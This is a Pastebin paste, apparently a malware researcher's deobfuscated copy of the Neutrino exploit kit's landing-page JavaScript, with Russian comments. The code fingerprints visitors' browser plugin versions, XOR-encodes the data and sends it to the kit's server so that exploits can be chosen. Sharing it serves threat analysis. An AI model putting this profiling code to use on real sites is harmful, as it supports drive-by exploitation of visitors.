SHARE
TWEET

Neutrino Landing Deobfus

Kafeine Mar 6th, 2013 1,174 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                 /**
  2.                  * Отправка запроса с информацией о плагинах
  3.                  */
  4.                 function send_request(hid) {
  5.                         var info = {
  6.                                 plugins : {
  7.                                         java: plg_all_ver('Java'),
  8.                                         adobe_reader: plg_ver('AdobeReader'),
  9.                                         flash: plg_ver('Flash'),
  10.                                         quick_time: plg_ver('QuickTime'),
  11.                                         real_player: plg_ver('RealPlayer'),
  12.                                         shockwave: plg_ver('Shockwave'),
  13.                                         silver_light: plg_ver('Silverlight'),
  14.                                         vlc: plg_ver('VLC'),
  15.                                         wmp: plg_ver('WMP')
  16.                                 }
  17.                         }
  18.                                                
  19.                         var pass = rnd_str(1+Math.floor(Math.random()*10));
  20.                         var obj = {};
  21.                         obj["h"+rnd_str(1+Math.floor(Math.random()*10))] = hid;                                  // host id
  22.                         obj["p"+rnd_str(1+Math.floor(Math.random()*10))] = pass;                                 // XOR pass
  23.                         obj["i"+rnd_str(1+Math.floor(Math.random()*10))] = xor(JSON.stringify(info), pass);
  24.                        
  25.                         $("body").load("c"+rnd_str(1+Math.floor(Math.random()*10)), obj);              
  26.                 }
  27.  
  28.                 /**
  29.                  * Возвращает строку разбитую ";" со всеми версиями указанного плагина (java, pdf)
  30.                  * @param string name
  31.                  */
  32.                 function plg_all_ver(name) {
  33.                         var info = PluginDetect.getInfo(name);
  34.                         var vers = info.All_versions;
  35.                         if(!vers)
  36.                                 return '';
  37.                         return info.All_versions.join(';')
  38.                 }
  39.  
  40.                 /**
  41.                  * Возвращает текущую установленную версию плагина
  42.                  * @param string name
  43.                  */
  44.                 function plg_ver(name) {
  45.                         var info = PluginDetect.getVersion(name);
  46.                         return info;
  47.                 }
  48.                
  49.                 /**
  50.                  * Возвращает рандомную строку заданной длины
  51.                  */
  52.                 function rnd_str(len) {
  53.                         len++;
  54.                         var result = [];
  55.                         var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
  56.                         while (--len) {
  57.                                 result.push(chars.charAt(Math.floor(Math.random() * chars.length)));
  58.                         }
  59.                         return result.join('');
  60.                 }
  61.  
  62.  
  63.                
  64.                 /**
  65.                  * Реализация XOR
  66.                  */
  67.                 function xor (input, pass) {
  68.                         var output = "";
  69.                         var i = 0;
  70.                         var pos = 0;
  71.                         for (i = 0; i < input.length; i++){
  72.                           pos = Math.floor(i%pass.length);
  73.                           output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
  74.                         }
  75.                         return output;
  76.                 }
  77.  
  78.                 /**
  79.                  * Реализация серелизации объекта в json
  80.                  */
  81.                 JSON.stringify = JSON.stringify || function (obj) {
  82.                         var t = typeof (obj);
  83.                         if (t != "object" || obj === null) {
  84.                                 // simple data type
  85.                                 if (t == "string") obj = '"'+obj+'"';
  86.                                 return String(obj);
  87.                         }
  88.                         else {
  89.                                 // recurse array or object
  90.                                 var n, v, json = [], arr = (obj && obj.constructor == Array);
  91.                                 for (n in obj) {
  92.                                         v = obj[n]; t = typeof(v);
  93.                                         if (t == "string") v = '"'+v+'"';
  94.                                         else if (t == "object" && v !== null) v = JSON.stringify(v);
  95.                                         json.push((arr ? "" : '"' + n + '":') + String(v));
  96.                                 }
  97.                                 return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
  98.                         }
  99.                 };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top